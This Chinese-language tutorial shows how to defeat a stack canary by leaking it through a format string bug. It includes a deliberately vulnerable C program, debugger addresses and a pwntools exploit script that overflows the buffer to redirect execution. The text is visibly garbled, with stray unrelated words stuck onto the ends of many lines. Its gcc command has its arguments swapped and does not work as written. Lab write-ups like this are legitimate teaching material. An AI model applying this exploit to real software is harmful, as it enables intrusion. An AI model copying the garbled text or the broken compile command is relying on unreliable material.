經過格式化字符串漏洞繞過canary

1.1    canary內存保護機制

1.1.1    canary工做原理

canary保護機制相似於/GS保護機制,是Linux下gcc編譯器的安全保護機制之一,在棧中的結構以下圖所示:linux

 

在函數初始化的時候回初始化一個隨機的canary值置於緩衝區的末端,在函數返回以前會對canary的值進行驗證,無誤則正常返回。安全

 

1.1.2    經過格式化字符串漏洞繞過canary

⑴.原理分析:

由於經過格式化字符串漏洞能夠實現任意內存的讀寫,並且,在一個程序裏,不一樣函數在運行中使用的canary值是相同的,因此能夠經過對格式化字符串漏洞的利用,將canary的值讀出來,實現緩衝區溢出攻擊後(控制RET地址),在函數退出驗證前再將canary 的值填回棧中,經過驗證明現函數的正常返回。函數

⑵.環境準備:

 i.存在格式化字符串漏洞的程序:                    測試

#include <stdio.h>spa

#include <unistd.h>插件

void getflag(void) {debug

    char flag[100];指針

    FILE *fp = fopen("./flag", "r");調試

    if (fp == NULL) {blog

        puts("get flag error");

    }

    fgets(flag, 100, fp);

    puts(flag);

}

void init() {

    setbuf(stdin, NULL);

    setbuf(stdout, NULL);

    setbuf(stderr, NULL);

}

void fun(void) {

         char buffer[100];

         read(STDIN_FILENO, buffer, 120);

}

int main(void) {

         char buffer[6];

         init();

         scanf("%6s",buffer);

         printf(buffer);

         fun();

}

 

ii.測試環境:

 測試平臺linux debian 7

攻擊腳本編寫模塊:pwntools。

輔助調試插件:gdb-peda

 iii. 編譯命令:

gcc -m32 -g -z execstack -fstack-protector-all -o print_canary.c print_canary

 

⑶.調試分析:

 i. 查看保護機制:

                 

能夠看到只有canary保護機制是成立的。

                  

ii.找到存在緩衝區溢出漏洞的函數的canary值地址:

能夠看到位於canary的值位於[ebp-0xc]=0xffffd27c處,

 

 iii. 找到緩衝區起始地址:

 

參數arg[1]的值爲緩衝區的起始地址:0xffffd218。

 

iv.肯定返回地址指針:

 

返回地址位於:0xffffd28c。

 

 

⑷.攻擊過程:

i.攻擊思路:

咱們的目的經過格式化字符串漏洞獲得canary值,在實現緩衝區溢出攻擊後控制fun函數的返回地址,執行getflag函數讀取當前目錄下的flag文件,在溢出的時候要將獲得canary值準確的填入它原來的位置。

 

ii.獲得getflag函數的地址:

 

Getflags函數地址爲:0x5655572d。

 

iii.計算緩衝區大小;

由上面的調試分析可知:

緩衝區大小等於緩衝區結束的地址0xffffd27c - 0xffffd218 = 100(字節)。

 

iv.分析棧使用狀況:

 

v.編寫攻擊腳本實現攻擊:

from pwn import *

context.log_level = 'debug'

cn = process('./print_canary')

cn.sendline('%7$x')

canary = int(cn.recv(),16)

print hex(canary)

cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x5655572d))

flag = cn.recv()

log.success('flag is:' + flag)

 

攻擊結果:

 

成功。

相關文章
相關標籤/搜索